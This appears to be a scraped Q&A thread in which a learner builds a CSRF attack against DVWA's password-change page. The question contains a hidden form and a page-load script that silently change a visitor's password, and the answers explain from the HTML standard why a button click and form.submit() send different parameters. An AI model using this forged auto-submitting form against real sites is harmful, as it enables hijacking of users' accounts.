Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Why does calling submit on a form and click on a submit button produce different GET parameters?

I'm trying out a simple CSRF attack and ran into an issue.

If I have a dummy site containing this form:

<form action="somewebsitetoexploit.com/someformpage" method="GET" hidden>
    <input type="password" autocomplete="off" name="password_new" value="hacked"><br>
    <input type="password" autocomplete="off" name="password_conf" value="hacked">
    <input type="submit" value="Change" name="Change">
</form>

My original idea was to have this form "self submitting" by having a script tag call submit on the form on page load to automatically change the user's password when they visit the page:

<script>
    window.onload = (_) => {
        const form = document.getElementsByTagName("form")[0];
        form.submit();
    };
</script>

This looked like it worked, but the password failed to change. When looking at the GET parameters, I realized that it was because it didn't include the Change parameter (the submit button itself). It produced:

?password_new=hacked&password_conf=hacked

Instead of:

?password_new=hacked&password_conf=hacked&Change=Change

And I'm guessing this is causing it to fail a validation check on the backend.

It seemed hacky, but I was able to fix it by having it click the submit button instead of submiting the form directly:

<script>
    window.onload = (_) => {
        const submit = document.getElementsByName("Change")[0];
        submit.click();
    };
</script>

I looked over the relevant MDN page, and it notes that calling submit has two differences from clicking the submit button:

  • No submit event is raised. In particular, the form's onsubmit event handler is not run.
  • Constraint validation is not triggered.

It isn't immediately clear though why the onsubmit not firing would affect what GET parameters are sent, so I'm not sure if that's relevant.

Obviously for forms that use GET as the method, I could just construct the URL with query parameters manually and not worry about having a form. For the sake of learning though (and in case I want to manipulate a form that uses POST in the future), I'd like to understand what's happening here.


The page I'm trying to "attack" is the password change CSRF page of DVWA.

like image 341
Carcigenicate Avatar asked Nov 28 '20 17:11

Carcigenicate


2 Answers

A form can have multiple submit buttons, with different names and/or values.

When you click a submit button and the default submit action takes place, the name and value of the button you clicked are included in the form parameters when the form is submitted.

When you call the submit() method there's no associated button click, so no button name and value will be included in the parameters. If the form has multiple submit buttons, which button would you expect it to send?

like image 64
Barmar Avatar answered Oct 17 '22 05:10

Barmar


This behavior is specified in the HTML standard:

The submit() method, when invoked, must submit the form element from the form element itself, with the submitted from submit() method flag set.

Where submission carries out the many steps described here:

When a form element form is submitted from an element submitter (typically a button), optionally with a submitted from submit() method flag set, the user agent must run the following steps:

...

  1. Let submitterButton be null if submitter is form. Otherwise, let submitterButton be submitter.

...

  1. Let entry list be the result of constructing the entry list with form, submitter, and encoding.

Where the entry list eventually results in a string like ?password_new=hacked&password_conf=hacked.

If you submit the form by pressing the button (either manually or programatically), submitter is set to the button, so the entry list includes the button.

If you submit the form by using .submit(), submitter is set to the form, so submitterButton is set to null, so the entry list does not include it.

The construction of the entry list skips buttons which are not submitter:

For each element field in controls, in tree order:

If any of the following is true:

The field element is a button but it is not submitter.

Then continue.

like image 45
CertainPerformance Avatar answered Oct 17 '22 04:10

CertainPerformance